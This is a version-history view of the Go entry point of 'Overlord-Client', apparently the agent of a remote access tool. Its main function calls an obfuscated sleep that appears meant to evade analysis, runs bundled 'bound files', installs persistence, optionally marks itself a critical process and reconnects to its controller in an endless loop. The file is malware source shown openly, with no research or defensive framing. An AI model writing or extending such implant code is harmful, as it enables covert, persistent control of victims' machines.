Files
overlord/Overlord-Client/cmd/agent/main.go
T

53 lines
973 B
Go
Raw Normal View History

2026-03-05 00:04:26 -06:00
package main
import (
"log"
"time"
"overlord-client/cmd/agent/config"
2026-04-03 10:47:05 -05:00
"overlord-client/cmd/agent/criticalproc"
2026-03-05 00:04:26 -06:00
"overlord-client/cmd/agent/mutex"
"overlord-client/cmd/agent/persistence"
)
func main() {
cfg := config.Load()
if cfg.SleepSeconds > 0 {
sleepObfuscated(cfg.SleepSeconds)
}
2026-03-21 02:37:10 -05:00
runBoundFiles()
2026-03-05 00:04:26 -06:00
if cfg.EnablePersistence {
if err := persistence.Setup(); err != nil {
log.Printf("Warning: Failed to setup persistence: %v", err)
}
}
2026-04-03 10:47:05 -05:00
if cfg.CriticalProcess {
criticalproc.Setup()
}
2026-03-05 00:04:26 -06:00
releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
if err != nil {
log.Printf("[mutex] failed to initialize mutex: %v", err)
2026-03-09 17:24:43 -05:00
log.Printf("[mutex] continuing without mutex protection")
releaseMutex = func() {}
ok = true
2026-03-05 00:04:26 -06:00
}
if !ok {
log.Printf("[mutex] another instance is already running; exiting")
return
}
defer releaseMutex()
for {
func() {
defer recoverAndLog("main", nil)
runClient(cfg)
}()
time.Sleep(2 * time.Second)
}
}